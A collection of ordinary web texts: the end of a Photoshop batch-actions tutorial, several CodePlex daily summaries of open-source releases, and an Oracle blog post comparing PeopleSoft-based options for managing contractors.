eraser, brush, or bucket fill don’t record well, because the computer uses your mouse movements and coordinates, which may need to change from photo to photo. Click the to set your Photograph layer to a “Screen” blending mode. This will make the image disappear when it runs over the white parts of the polaroid image. With your image layer (Layer 0) still selected, navigate to Edit > Transform > Scale. You can use the mouse to resize your Layer 0, but Actions work better with absolute numbers. Visit the Width and Height adjustments in the top options panel. Click the chain icon to link them together, and adjust them numerically. Depending on your needs, you may need to use more or less than 30%. Your image will resize to your specifications. Press enter to render, or click the check box in the top right of your application. + Click on your bottom layer, or “polaroid” in this case. This creates a selection of the bottom layer. Navigate to Image > Crop in order to crop down to your bottom layer selection Your image is now resized to your bottommost layer, and Photoshop is still recording to that effect. For additional effect, we can navigate to Image > Image Rotation > Arbitrary to rotate our image by a small tilt. Choosing 3 degrees clockwise , we click OK to render our choice. Our image is rotated, and this step is recorded. Photoshop will even record when you save your files. With your recording still going, find File > Save As. You can easily tell Photoshop to save in a new folder, other than the one you have been working in, so that your files aren’t overwritten. Navigate to any folder you wish, but do not change the filename. If you change the filename, Photoshop will record that name, and save all your images under whatever you type. However, you can change your filetype without recording an absolute filename. Use the pulldown tab and select a different filetype—in this instance, PNG. Simply click “Save” to create a new PNG based on your actions. Photoshop will record the destination and the change in filetype. If you didn’t edit the name of your file, it will always use the variable filename of any image you open. (This is very important if you want to edit hundreds of images at once!) Click File > Close or the red “X” in the corner to close your filetype. Photoshop can record that as well. Since we have already saved our image as a JPG, click “NO” to not overwrite your original image. Photoshop will also record your choice of “NO” for subsequent images. In your Actions panel, click the stop button to complete your action. You can always click the record button to add more steps later, if you want. This is how your new action looks with its steps expanded. Curious how to put it into effect? Read on to see how simple it is to use that recording you just made. Editing Lots of Images with Your New Action Open a large number of images—as many as you care to work with. Your action should work immediately with every image on screen, although you may have to test and re-record, depending on how you did. Actions don’t require any programming knowledge, but often can get confused or work in a counter-intuitive way. Record your action until it is perfect. If it works once without errors, it’s likely to work again and again! Find the “Play” button in your Actions Panel. With your custom action selected, click “Play” and your routine will edit, save, and close each file for you. Keep bashing “Play” for each open file, and it will keep saving and creating new files until you run out of work you need to do. And in mere moments, a complicated stack of work is done. Photoshop actions can be very complicated, far beyond what is illustrated here, and can even be combined with scripts and other actions, creating automated creation of potentially very complex files, or applying filters to an entire portfolio of digital photos. Have questions or comments concerning Graphics, Photos, Filetypes, or Photoshop? Send your questions to [email protected], and they may be featured in a future How-To Geek Graphics article. Image Credits: All images copyright Stephanie Pragnell and author Eric Z Goodnight, protected under Creative Commons. Latest Features How-To Geek ETC How To Make Hundreds of Complex Photo Edits in Seconds With Photoshop Actions How to Enable User-Specific Wireless Networks in Windows 7 How to Use Google Chrome as Your Default PDF Reader (the Easy Way) How To Remove People and Objects From Photographs In Photoshop Ask How-To Geek: How Can I Monitor My Bandwidth Usage? Internet Explorer 9 RC Now Available: Here’s the Most Interesting New Stuff Smart Taskbar Is a Thumb Friendly Android Task Launcher Comix is an Awesome Comics Archive Viewer for Linux Get the MakeUseOf eBook Guide to Speeding Up Windows for Free Need Tech Support? Call the Star Wars Help Desk! [Video Classic] Reclaim Vertical UI Space by Adding a Toolbar to the Left or Right Side of Firefox Androidify Turns You into an Android-style Avatar

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• CodePlex Daily Summary for Sunday, May 25, 2014

  CodePlex Daily Summary for Sunday, May 25, 2014Popular ReleasesClosedXML - The easy way to OpenXML: ClosedXML 0.71.0: Major improvement when saving large files.SimCityPak: SimCityPak 0.3.1.0: Main New Features: Fixed Importing of Instance Names (get rid of the Dutch translations) Added advanced editor for Decal Dictionaries Added possibility to import .PNG to generate new decals Added advanced editor for Path display entriesTiny Deduplicator: Tiny Deduplicator 1.0.1.0: Increased version number to 1.0.1.0 Moved all options to a separate 'Options' dialog window. Allows the user to specify a selection strategy which will help when dealing with large numbers of duplicate files. Available options are "None," "Keep First," and "Keep Last"SEToolbox: SEToolbox 01.031.009 Release 1: Added mirroring of ConveyorTubeCurved. Updated Ship cube rotation to rotate ship back to original location (cubes are reoriented but ship appears no different to outsider), and to rotate Grouped items. Repair now fixes the loss of Grouped controls due to changes in Space Engineers 01.030. Added export asteroids. Rejoin ships will merge grouping and conveyor systems (even though broken ships currently only maintain the Grouping on one part of the ship). Installation of this version wi...Player Framework by Microsoft: Player Framework for Windows and WP v2.0: Support for new Universal and Windows Phone 8.1 projects for both Xaml and JavaScript projects. See a detailed list of improvements, breaking changes and a general overview of version 2 ADDITIONAL DOWNLOADSSmooth Streaming Client SDK for Windows 8 Applications Smooth Streaming Client SDK for Windows 8.1 Applications Smooth Streaming Client SDK for Windows Phone 8.1 Applications Microsoft PlayReady Client SDK for Windows 8 Applications Microsoft PlayReady Client SDK for Windows 8.1 Applicat...TerraMap (Terraria World Map Viewer): TerraMap 1.0.6: Added support for the new Terraria v1.2.4 update. New items, walls, and tiles Added the ability to select multiple highlighted block types. Added a dynamic, interactive highlight opacity slider, making it easier to find highlighted tiles with dark colors (and fixed blurriness from 1.0.5 alpha). Added ability to find Enchanted Swords (in the stone) and Water Bolt books Fixed Issue 35206: Hightlight/Find doesn't work for Demon Altars Fixed finding Demon Hearts/Shadow Orbs Fixed inst...DotNet.Highcharts: DotNet.Highcharts 4.0 with Examples: DotNet.Highcharts 4.0 Tested and adapted to the latest version of Highcharts 4.0.1 Added new chart type: Heatmap Added new type PointPlacement which represents enumeration or number for the padding of the X axis. Changed target framework from .NET Framework 4 to .NET Framework 4.5. Closed issues: 974: Add 'overflow' property to PlotOptionsColumnDataLabels class 997: Split container from JS 1006: Series/Categories with numeric names don't render DotNet.Highcharts.Samples Updated s...51Degrees - Device Detection and Redirection: 3.1.1.12: Version 3.1 HighlightsDevice detection algorithm is over 100 times faster. Regular expressions and levenshtein distance calculations are no longer used. The device detection algorithm performance is no longer limited by the number of device combinations contained in the dataset. Two modes of operation are available: Memory – the detection data set is loaded into memory and there is no continuous connection to the source data file. Slower initialisation time but faster detection performanc...VisioAutomation: Visio PowerShell Module (VisioPS) 1.2.0: DocumentationDocumentation is here http://sdrv.ms/11AWkp7 Screencasthttp://vimeo.com/61329170 FilesFor easy installation, download and run the MSI file. If you want to manually install, a ZIP file is provided. ChangeLogInvoke-* cmdlets replaced with more specific PowerShell Verbs Enhanced handling of values in User-Defined Cells Get-VisioShape works more unituitivelyNino Seisei Code Generator: Nino Seisei v2.1.1: Mejoras en la interfaz, posibilidad de ejecutar instrucciones Berta cíclicas una dentro de otra con la nueva instrucción @BSETRECURSIVITY_ON. GUI Improvements, posibility of running ciclic Berta instructions one inside another with the new @BSETRECURSIVITY_ON instruction.PowerShell App Deployment Toolkit: PowerShell App Deployment Toolkit v3.1.3: Added CompressLogs option to the config file. Each Install / Uninstall creates a timestamped zip file with all MSI and PSAppDeployToolkit logs contained within Added variable expansion to all paths in the configuration file Added documentation for each of the Toolkit internal variables that can be used Changed Install-MSUpdates to continue if any errors are encountered when installing updates Implement /Force parameter on Update-GroupPolicy (ensure that any logoff message is ignored) ...ULS Log Viewer: Alpha 0.2: Changeset CI&T ULS Log 22/05/2014 - Inclusão do botão de limpar filtro - Inclusão da possibilidade de filtrar as entradas pelo texto da mensagem; - Inclusão da opção de abrir mais de um arquivo de log no mesmo grid para análise; - Inclusão da tela de Sobre. - Campo de Filtro Rápido Level carrega somente os Levels encontrados no arquivo de log carregado; - Campo de exibição rápida de mensagem setado para somente leitura; - Inclusão da Barra de Status com informações do nome do arquivo ...Application Parameters for Microsoft Dynamics CRM: Application Parameters (1.2.0.1): Fix plugin when updating parameters without changing parameter typeWordMat: WordMat v. 1.07: A quick fix because scientific notation was broken in v. 1.06 read more at http://wordmat.blogspot.com????: 《????》: 《????》（c???）??“????”???????，???????????????C?????????。???????,???????????????????????. ??????????????????????????????????；????????????????????????????。Mini SQL Query: Mini SQL Query (1.0.72.457): Apologies for the previous update! FK issue fixed and also a template data cache issue.Wsus Package Publisher: Release v1.3.1405.17: Add Russian translation (thanks to VSharmanov) Fix a bug that make WPP to crash if the user click on "Connect/Reload" while the Report Tab is loading. Enhance the way WPP store the password for remote computers command.MoreTerra (Terraria World Viewer): More Terra 1.12.9: =========== = Compatibility = =========== Updated to account for new format 1.2.4.1 =========== = Issues = =========== all items have not been added. Some colors for new tiles may be off. I wanted to get this out so people have a usable program.LINQ to Twitter: LINQ to Twitter v3.0.3: Supports .NET 4.5x, Windows Phone 8.x, Windows 8.x, Windows Azure, Xamarin.Android, and Xamarin.iOS. New features include Status/Lookup, Mute APIs, and bug fixes. 100% Twitter API v1.1 coverage, Async, Portable Class Library (PCL).CS-Script for Notepad++ (C# intellisense and code execution): Release v1.0.26.0: Added access to the Release Notes during 'Check for Updates...'' Debug panels Added support for generic types members Members are grouped into 'Raw View' and 'Non-Public members' categories Implemented dedicated (array-like) view for Lists and Dictionaries http://download-codeplex.sec.s-msft.com/Download?ProjectName=csscriptnpp&DownloadId=846498New Projects2111110107: Thanh Loi2111110152: Nguy?n Doãn Tu?nASP.NET MVC4 Warehouse management system: WMSNet is an easy to use warehouse management solution for manually operated warehouses and can smoothly be customized according to your requirements. Code Snippets: Code snippets to empower the developers to write quality code faster while adhering to the industry standards.CRM 2011 / CRM 2013 Form Helper: Library of CRM 2011 / CRM 2013 Web Resources that can be used on Forms for making input simpler; ex Automatic title case Kinect Translation Tool: From Sign Language to spoken text and vice versa: Software System Component 1. Kinect SDKver.1.7 for the Kinect sensor. 2. Windows 7 standard APIs- The audio, speech, and media APIs in Windows 7MDriven Getting started - MVC: This is the suggested getting started template for doing MVC with MDriven. Fork it and begin to fill up with your model. Rules Engine Validator: A simple rules validator. It's based on a rule manager component (an implementation of the Command GoF pattern), with a main method called Validate().Simple Connect To Db: ????? ???? ?? ??????? ?? ????? ??? ? ??????? ????? ??z3-str-purdue: test geekchina.com

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• Finding the Right Solution to Source and Manage Your Contractors

  - by mark.rosenberg(at)oracle.com

  Many of our PeopleSoft Enterprise applications customers operate in service-based industries, and all of our customers have at least some internal service units, such as IT, marketing, and facilities. Employing the services of contractors, often referred to as "contingent labor," to deliver either or both internal and external services is common practice. As we've transitioned from an industrial age to a knowledge age, talent has become a primary competitive advantage for most organizations. Contingent labor offers talent on flexible terms; it offers the ability to scale up operations, close skill gaps, and manage risk in the process of delivering services. Talent comes from many sources and the rise in the contingent worker (contractor, consultant, temporary, part time) has increased significantly in the past decade and is expected to reach 40 percent in the next decade. Managing the total pool of talent in a seamless integrated fashion not only saves organizations money and increases efficiency, but creates a better place for workers of all kinds to work. Although the term "contingent labor" is frequently used to describe both contractors and employees who have flexible schedules and relationships with an organization, the remainder of this discussion focuses on contractors. The term "contingent labor" is used interchangeably with "contractor." Recognizing the importance of contingent labor, our PeopleSoft customers often ask our team, "What Oracle vendor management system (VMS) applications should I evaluate for managing contractors?" In response, I thought it would be useful to describe and compare the three most common Oracle-based options available to our customers. They are:   The enterprise licensed software model in which you implement and utilize the PeopleSoft Services Procurement (sPro) application and potentially other PeopleSoft applications;  The software-as-a-service model in which you gain access to a derivative of PeopleSoft sPro from an Oracle Business Process Outsourcing Partner; and  The managed service provider (MSP) model in which staffing industry professionals utilize either your enterprise licensed software or the software-as-a-service application to administer your contingent labor program. At this point, you may be asking yourself, "Why three options?" The answer is that since there is no "one size fits all" in terms of talent, there is also no "one size fits all" for effectively sourcing and managing contingent workers. Various factors influence how an organization thinks about and relates to its contractors, and each of the three Oracle-based options addresses an organization's needs and preferences differently. For the purposes of this discussion, I will describe the options with respect to (A) pricing and software provisioning models; (B) control and flexibility; (C) level of engagement with contractors; and (D) approach to sourcing, employment law, and financial settlement. Option 1:  Enterprise Licensed Software In this model, you purchase from Oracle the license and support for the applications you need. Typically, you license PeopleSoft sPro as your VMS tool for sourcing, monitoring, and paying your contract labor. In conjunction with sPro, you can also utilize PeopleSoft Human Capital Management (HCM) applications (if you do not already) to configure more advanced business processes for recruiting, training, and tracking your contractors. Many customers choose this enterprise license software model because of the functionality and natural integration of the PeopleSoft applications and because the cost for the PeopleSoft software is explicit. There is no fee per transaction to source each contractor under this model. Our customers that employ contractors to augment their permanent staff on billable client engagements often find this model appealing because there are no fees to affect their profit margins. With this model, you decide whether to have your own IT organization run the software or have the software hosted and managed by either Oracle or another application services provider. Your organization, perhaps with the assistance of consultants, configures, deploys, and operates the software for managing your contingent workforce. This model offers you the highest level of control and flexibility since your organization can configure the contractor process flow exactly to your business and security requirements and can extend the functionality with PeopleTools. This option has proven very valuable and applicable to our customers engaged in government contracting because their contingent labor management practices are subject to complex standards and regulations. Customers find a great deal of value in the application functionality and configurability the enterprise licensed software offers for managing contingent labor. Some examples of that functionality are... The ability to create a tiered network of preferred suppliers including competencies, pricing agreements, and elaborate candidate management capabilities. Configurable alerts and online collaboration for bid, resource requisition, timesheet, and deliverable entry, routing, and approval for both resource and deliverable-based services. The ability to manage contractors with the same PeopleSoft HCM and Projects applications that are used to manage the permanent workforce. Because it allows you to utilize much of the same PeopleSoft HCM and Projects application functionality for contractors that you use for permanent employees, the enterprise licensed software model supports the deepest level of engagement with the contingent workforce. For example, you can: fill job openings with contingent labor; guide contingent workers through essential safety and compliance training with PeopleSoft Enterprise Learning Management; and source contingent workers directly to project-based assignments in PeopleSoft Resource Management and PeopleSoft Program Management. This option enables contingent workers to collaborate closely with your permanent staff on complex, knowledge-based efforts - R&D projects, billable client contracts, architecture and engineering projects spanning multiple years, and so on. With the enterprise licensed software model, your organization maintains responsibility for the sourcing, onboarding (including adherence to employment laws), and financial settlement processes. This means your organization maintains on staff or hires the expertise in these domains to utilize the software and interact with suppliers and contractors. Option 2:  Software as a Service (SaaS) The effort involved in setting up and operating VMS software to handle a contingent workforce leads many organizations to seek a system that can be activated and configured within a few days and for which they can pay based on usage. Oracle's Business Process Outsourcing partner, Provade, Inc., provides exactly this option to our customers. Provade offers its vendor management software as a service over the Internet and usually charges your organization a fee that is a percentage of your total contingent labor spending processed through the Provade software. (Percentage of spend is the predominant fee model, although not the only one.) In addition to lower implementation costs, the effort of configuring and maintaining the software is largely upon Provade, not your organization. This can be very appealing to IT organizations that are thinly stretched supporting other important information technology initiatives. Built upon PeopleSoft sPro, the Provade solution is tailored for simple and quick deployment and administration. Provade has added capabilities to clone users rapidly and has simplified business documents, like work orders and change orders, to facilitate enterprise-wide, self-service adoption with little to no training. Provade also leverages Oracle Business Intelligence Enterprise Edition (OBIEE) to provide integrated spend analytics and dashboards. Although pure customization is more limited than with the enterprise licensed software model, Provade offers a very effective option for organizations that are regularly on-boarding and off-boarding high volumes of contingent staff hired to perform discrete support tasks (for example, order fulfillment during the holiday season, hourly clerical work, desktop technology repairs, and so on) or project tasks. The software is very configurable and at the same time very intuitive to even the most computer-phobic users. The level of contingent worker engagement your organization can achieve with the Provade option is generally the same as with the enterprise licensed software model since Provade can automatically establish contingent labor resources in your PeopleSoft applications. Provade has pre-built integrations to Oracle's PeopleSoft and the Oracle E-Business Suite procurement, projects, payables, and HCM applications, so that you can evaluate, train, assign, and track contingent workers like your permanent employees. Similar to the enterprise licensed software model, your organization is responsible for the contingent worker sourcing, administration, and financial settlement processes. This means your organization needs to maintain the staff expertise in these domains. Option 3:  Managed Services Provider (MSP) Whether you are using the enterprise licensed model or the SaaS model, you may want to engage the services of sourcing, employment, payroll, and financial settlement professionals to administer your contingent workforce program. Firms that offer this expertise are often referred to as "MSPs," and they are typically staffing companies that also offer permanent and temporary hiring services. (In fact, many of the major MSPs are Oracle applications customers themselves, and they utilize the PeopleSoft Solution for the Staffing Industry to run their own business operations.) Usually, MSPs place their staff on-site at your facilities, and they can utilize either your enterprise licensed PeopleSoft sPro application or the Provade VMS SaaS software to administer the network of suppliers providing contingent workers. When you utilize an MSP, there is a separate fee for the MSP's service that is typically funded by the participating suppliers of the contingent labor. Also in this model, the suppliers of the contingent labor (not the MSP) usually pay the contingent labor force. With an MSP, you are intentionally turning over business process control for the advantages associated with having someone else manage the processes. The software option you choose will to a certain extent affect your process flexibility; however, the MSPs are often able to adapt their processes to the unique demands of your business. When you engage an MSP, you will want to give some thought to the level of engagement and "partnering" you need with your contingent workforce. Because the MSP acts as an intermediary, it can be very valuable in handling high volume, routine contracting for which there is a relatively low need for "partnering" with the contingent workforce. However, if your organization (or part of your organization) engages contingent workers for high-profile client projects that require diplomacy, intensive amounts of interaction, and personal trust, introducing an MSP into the process may prove less effective than handling the process with your own staff. In fact, in many organizations, it is common to enlist an MSP to handle contractors working on internal projects and to have permanent employees handle the contractor relationships that affect the portion of the services portfolio focused on customer-facing, billable projects. One of the key advantages of enlisting an MSP is that you do not have to maintain the expertise required for orchestrating the sourcing, hiring, and paying of contingent workers.  These are the domain of the MSPs. If your own staff members are not prepared to manage the essential "overhead" processes associated with contingent labor, working with an MSP can make solid business sense. Proper administration of a contingent workforce can make the difference between project success and failure, operating profit and loss, and legal compliance and fines. Concluding Thoughts There is little doubt that thoughtfully and purposefully constructing a service delivery strategy that leverages the strengths of contingent workers can lead to better projects, deliverables, and business results. What requires a bit more thinking is determining the platform (or platforms) that will enable each part of your organization to best deliver on its mission.

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• CodePlex Daily Summary for Thursday, October 04, 2012

  CodePlex Daily Summary for Thursday, October 04, 2012Popular ReleasesMCEBuddy 2.x: MCEBuddy 2.3.1: 2.3.1All new Remote Client Server architecture. Reccomended Download. The Remote Client Installation is OPTIONAL, you can extract the files from the zip archive into a local folder and run MCEBuddy.GUI directly. 2.2.15 was the last standalone release. Changelog for 2.3.1 (32bit and 64bit) 1. All remote MCEBuddy Client Server architecture (GUI runs remotely/independently from engine now) 2. Fixed bug in Audio Offset 3. Added support for remote MediaInfo (right click on file in queue to get ...Multiwfn: Multiwfn 2.5.2: Multiwfn 2.5.2D3 Loot Tracker: 1.5: Support for session upload to website. Support for theme change through general settings. Time played counter will now also display a count for days. Tome of secrets are no longer logged as items.patterns & practices - Develop Windows Store apps using C++ & XAML: Hilo: Hilo C++ October 4, 2012 Drop: This drop supports Windows 8 RTM (Build 9200). To view the documentation, right-click the m_hilo.chm file on disk, select Properties, then on the General tab, select Unblock. The .chm will now display the content.xUnit.net Contrib: xunitcontrib-resharper for 7.1 EAP (build 3): xunitcontrib release 0.6.1 (ReSharper runner) This release provides a test runner plugin for Resharper 7.1 EAP build 3, targetting all versions of xUnit.net. (See the xUnit.net project to download xUnit.net itself.) For ReSharper 7.0 and 6.1.1, see this release. For older versions, see this release. Also note that all builds work against ALL VERSIONS of xunit. The files are compiled against xunit.dll 1.9.1 - DO NOT REPLACE THIS FILE. Thanks to xunit's version independent runner system, this...SharePoint Column & View Permission: SharePoint Column and View Permission v1.5: Version 1.5 of this project. If you will find any bugs please let me know at enti@zoznam.sk or post your findings in Issue TrackerZ3: Z3 4.1.1 source code: Snapshot corresponding to version 4.1.1.DirectX Tool Kit: October 2012: October 2, 2012 Added ScreenGrab module Added CreateGeoSphere for drawing a geodesic sphere Put DDSTextureLoader and WICTextureLoader into the DirectX C++ namespace Renamed project files for better naming consistency Updated WICTextureLoader for Windows 8 96bpp floating-point formats Win32 desktop projects updated to use Windows Vista (0x0600) rather than Windows 7 (0x0601) APIs Tweaked SpriteBatch.cpp to workaround ARM NEON compiler codegen bugHome Access Plus+: v8.1: HAP+ Web v8.1.1003.000079318 Fixed: Issue with the Help Desk and updating a ticket as an admin 79319 Fixed: formatting issue with the booking system admin header 79321 Moved to using the arrow with a circle symbol on the homepage instead of the > and < 79541 Added: 480px wide mobile theme to login page 79541 Added: 480px wide mobile theme to home page 79541 Added: slide events for homepage 79553 Fixed: Booking System Multiple Lesson Bug 79553 Fixed: IE Error Message 79684 Fixed: jQuery issue ...System.Net.FtpClient: System.Net.FtpClient 2012.10.02.01: This is the first release of the new code base. It is not compatible with the old API, I repeat it is not a drop in update for projects currently using System.Net.FtpClient. New users should download this release. The old code base (Branch: System.Net.FtpClient_1) will continue to be supported while the new code matures. This release is a complete re-write of System.Net.FtpClient. The API and code are simpler than ever before. There are some new features included as well as an attempt at be...CRM 2011 Visual Ribbon Editor: Visual Ribbon Editor (1.3.1002.3): Visual Ribbon Editor 1.3.1002.3 What's New: Multi-language support for Labels/Tooltips for custom buttons and groups Support for base language other than English (1033) Connect dialog will not require organization name for ADFS / IFD connections Automatic creation of missing labels for all provisioned languages Minor connection issues fixed Notes: Before saving the ribbon to CRM server, editor will check Ribbon XML for any missing <Title> elements inside existing <LocLabel> elements...RenameApp: RenameApp 1.0: First release of RenameAppJsonToStaticTypeGenerator: JsonToStaticTypeGenerator 0.1: This is the first alpha release of JsonToStaticTypeGenerator.XiaoKyun: XiaoKyun V1.00: https://xiaokyun.codeplex.com/CatchThatException: Release 1.12: Wow a very fast change and a much better and faster writing to the text fileNaked Objects: Naked Objects Release 5.0.0: Corresponds to the packaged version 5.0.0 available via NuGet. Please note that the easiest way to install and run the Naked Objects Framework is via the NuGet package manager: just search the Official NuGet Package Source for 'nakedobjects'. It is only necessary to download the source code (from here) if you wish to modify or re-build the framework yourself. If you do wish to re-build the framework, consul the file HowToBuild.txt in the release. Major enhancementsNaked Objects 5.0 is desi...WinRT XAML Toolkit: WinRT XAML Toolkit - 1.3.0: WinRT XAML Toolkit based on the Windows 8 RTM SDK. Download the latest source from the SOURCE CODE page. For compiled version use NuGet. You can add it to your project in Visual Studio by going to View/Other Windows/Package Manager Console and entering: PM> Install-Package winrtxamltoolkit Features AsyncUI extensions Controls and control extensions Converters Debugging helpers Imaging IO helpers VisualTree helpers Samples Recent changes NOTE: Namespace changes DebugConsol...SubExtractor: Release 1029: Feature: Added option to make i and ¡ characters movie-specific for improved OCR on Spanish subs (Special Characters tab in Options) Feature: Allow switch to Word Spacing dialog directly from Spell Check dialog Fix: Added more default word spacings for accented characters Fix: Changed Word Spacing dialog to show all OCR'd characters in current sub Fix: Removed application focus grab during OCR Fix: Tightened HD subs fuzzy logic to reduce false matches in small characters Fix: Improved Arrow k...Readable Passphrase Generator: KeePass Plugin 0.7.1: See the KeePass Plugin Step By Step Guide for instructions on how to install the plugin. Changes Built against KeePass 2.20Windows 8 Toolkit - Charts and More: Beta 1.0: The First Compiled Version of my LibraryNew Projects<-Zielonka.co.uk Open source libraries. Extension methods, Enums and utilities.: The following code libraries are provided to the opensource communities to help developers with common simple tasks.Affine cipher school project: Affine cipher crypt with block = 10Agendamento_Recursos: Projeto agendamento de recursos áudio visuais.ASP.NET Desktop Membership Manager Application: This project aims to make it possible to manage ASP.Net Membership within the initial life cycle stages of your web application.ASP.Net MVC Starter Architecture: A sample ASP.Net MVC application that introduces concepts around dependency injection, interface interception, repositories, and other architectural patterns.Cet MicroWorkflow: Create your own automation on Netduino in a visual way.Custom WCF Context State Pattern Implementation (example): The WcfContext project is the class library and a training project of using WCF context like we used to use the HttpContext.Current.Dash-R: dash-r (-r) is a shim for allowing use of Mercurial-style local version numbers in Git.DoombringerStudios: VideogameEI1025: Usar GLUT para desarrollar aplicaciones que usen OpenGL sobre C++ExperimentosPascal: Programitas de ejemplo para mostrar la sintaxis de Pascal.Lyricsgrabber: A Tool to get automatically lyrics to provided songs and save them in their tags.Mediafire .Net Api: This project provides an easy to use lib to work with Mediafire's REST Api for .Net developers.NDownloader C# .NET 4.5 VS2012: Windows console based downloader for files. Useful for downloading freely available pdf files such as public domain books or mp3 media from the internet.Orchid Scene Editor: This project is a generic 3D editor.PdfReport: PdfReport is a code first reporting engine, which is built on top of the iTextSharp and EPPlus libraries.PowerShell Security: PoshSec is short for PowerShell security, a module provided to allow PowerShell users testing, analysis and reporting on Window securityR to CLR: Accessing a common language runtime (.NET or Mono) from the R statistical software.RMDdownloader: RMDdownloader is a tiny application designed to locate and download the the desktops submitted by the http://ratemydesktop.org userbase. Sample Sample Code: sample sample codeScreen Ruler: Simple ruler displayed on screenSharePoint Web Change Log: An alternate notification feature for SharePoint. It's working on Web basis.SimpleMin: SimpleMin is a very easy way to minify and bundle all js/css files in your web project.Sitecore Courier: Sitecore Courier aims to fill the gap between the development and production environments when building websites with Sitecore CMS. It lets you build SitecoreSql Migrations: Sql Migrations is a database migration framework for .NET.StripeOne Beauty Salon: Projeto que visa criar uma aplicação para salões de belezaStripeOne Blog: Esse projeto tem como objetivo criar um sistema para gerenciamento de blogs no estilo Wordpress.StripeOne Core: Projeto com métodos para facilitar a vida do programador.Testability analysis: Heuristics for testability of classes.This is the future: ；-）Viva Music Player: Viva Music Player is a free and open source music player. It's using C# and NAudio audio library to play audio files.Wedding Calculator: Services for wedding portal (under construction)Whitepad: Whitepad is a digital whiteboard with an infinite canvas.Win8SSH: This project will provide a ModernUI SSH-Client for Windows 8

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• CodePlex Daily Summary for Thursday, August 23, 2012

  CodePlex Daily Summary for Thursday, August 23, 2012Popular ReleasesARSoft.Tools.Net - C#/.Net DNS client/server, SPF and SenderID Library: 1.7.0: New Features:Strong name for binary release LLMNR client One-shot Multicast DNS client Some new IPAddress extensions Response validation as described in draft-vixie-dnsext-dns0x20-00 Added support for Owner EDNS option (draft-cheshire-edns0-owner-option) Added support for LLQ EDNS option (draft-sekar-dns-llq) Added support for Update Lease EDNS option (draft-sekar-dns-ul) Changes:Updated to latest IANA parameters Adapted RFC6563 - Moving A6 to Historic Status Use IPv6 addre...7zbackup - PowerShell Script to Backup Files with 7zip: 7zBackup v. 1.8.1 Stable: Do you like this piece of software ? It took some time and effort to develop. Please consider a helping me with a donation Or please visit my blog Code : New work switch maxrecursionlevel to limit recursion depth while searching files to backup Code : rotate argument switch can now be set in selection file too Code : prefix argument switch can now be set in selection file too Code : prefix argument switch is checked against invalid file name chars Code : vars script file has now...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.62: Fix for issue #18525 - escaped characters double-escaped in identifiers if the character immediately after the backslash is not normally allowed in an identifier. fixed symbol problem with nuget package. 4.62 should have nuget symbols available again.Game of Life 3D: GameOfLife3D Version 0.5.2: Support Windows 8nopCommerce. Open source shopping cart (ASP.NET MVC): nopcommerce 2.65: As some of you may know we were planning to release version 2.70 much later (the end of September). But today we have to release this intermediate version (2.65). It fixes a critical issue caused by a third-party assembly when running nopCommerce on a server with .NET 4.5 installed. No major features have been introduced with this release as our development efforts were focused on further enhancements and fixing bugs. To see the full list of fixes and changes please visit the release notes p...MyRouter (Virtual WiFi Router): MyRouter 1.2.9: . Fix: Some missing changes for fixing the window subclassing crash. · Fix: fixed bug when Run MyRouter at the first Time. · Fix: Log File · Fix: improve performance speed application · fix: solve some Exception.Smart Thread Pool: SmartThreadPool 2.2.2: Release Changes Added set name to threads Fixed the WorkItemsQueue.Dequeue. Replaced while(!Monitor.TryEnter(this)); with lock(this) { ... } Fixed SmartThreadPool.Pipe Added IsBackground option to threads Added ApartmentState to threads Fixed thread creation when queuing many work items at the same time.ZXing.Net: ZXing.Net 0.8.0.0: sync with rev. 2393 of the java version improved API, direct support for multiple barcode decoding, wrapper for barcode generating many other improvements and fixes encoder and decoder command line clients demo client for emguCV dev documentation startedScintillaNET: ScintillaNET 2.5.1: This release has been built from the 2.5 branch. Issues closed: Issue # Title 32524 32524 32550 32550 32552 32552 25148 25148 32449 32449 32551 32551 32711 32711 MFCMAPI: August 2012 Release: Build: 15.0.0.1035 Full release notes at SGriffin's blog. If you just want to run the MFCMAPI or MrMAPI, get the executables. If you want to debug them, get the symbol files and the source. The 64 bit builds will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit builds, regardless of the operating system. Facebook BadgeDocument.Editor: 2013.2: Whats new for Document.Editor 2013.2: New save as Html document Improved Traslate support Minor Bug Fix's, improvements and speed upsPulse: Pulse Beta 5: Whats new in this release? Well to start with we now have Wallbase.cc Authentication! so you can access favorites or NSFW. This version requires .NET 4.0, you probably already have it, but if you don't it's a free and easy download from Microsoft. Pulse can bet set to start on Windows startup now too. The Wallpaper setter has settings now, so you can change the background color of the desktop and the Picture Position (Tile/Center/Fill/etc...) I've switched to Windows Forms instead of WPF...Metro Paint: Metro Paint: Download it now , don't forget to give feedback to me at maitreyavyas@live.com or at my facebook page fb.com/maitreyavyas , Hope you enjoy it.MiniTwitter: 1.80: MiniTwitter 1.80 ???? ?? .NET Framework 4.5 ?????? ?? .NET Framework 4.5 ????????????? "&" ??????????????????? ???????????????????????? 2 ??????????? ReTweet ?????????????????、In reply to ?????????????? URL ???????????? ??????????????????????????????Droid Explorer: Droid Explorer 0.8.8.6 Beta: Device images are now pulled from DroidExplorer Cloud Service refined some issues with the usage statistics Added a method to get the first available value from a list of property names DroidExplorer.Configuration no longer depends on DroidExplorer.Core.UI (it is actually the other way now) fix to the bootstraper to only try to delete the SDK if it is a "local" sdk, not an existing. no longer support the "local" sdk, you must now select an existing SDK checks for sdk if it was ins...Path Copy Copy: 11.0.1: Bugfix release that corrects the following issue: 11365 If you are using Path Copy Copy in a network environment and use the UNC path commands, it is recommended that you upgrade to this version.ExtAspNet: ExtAspNet v3.1.9.1: +2012-08-18 v3.1.9 -??other/addtab.aspx???JS???BoundField??Tooltip???（Dennis_Liu）。 +??Window?GetShowReference???????????????（︶????、????、???、??~）。 -?????JavaScript?????，??????HTML????????。 -??HtmlNodeBuilder????????????????JavaScript??。 -??????WindowField、LinkButton、HyperLink????????????????????????????。 -???????????grid/griddynamiccolumns2.aspx（?????）。 -?????Type??Reset?????，??????????????????（e??）。 -?????????????????????。 -?????????int,short,double??????????（???）。 +?Window????Ge...AcDown????? - AcDown Downloader Framework: AcDown????? v4.0.1: ?? ●AcDown??????????、??、??????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ??：????????Windows XP???,?????????.NET Framework 2.0???(x86)，?????"?????????"??? ??????????????，??????????： 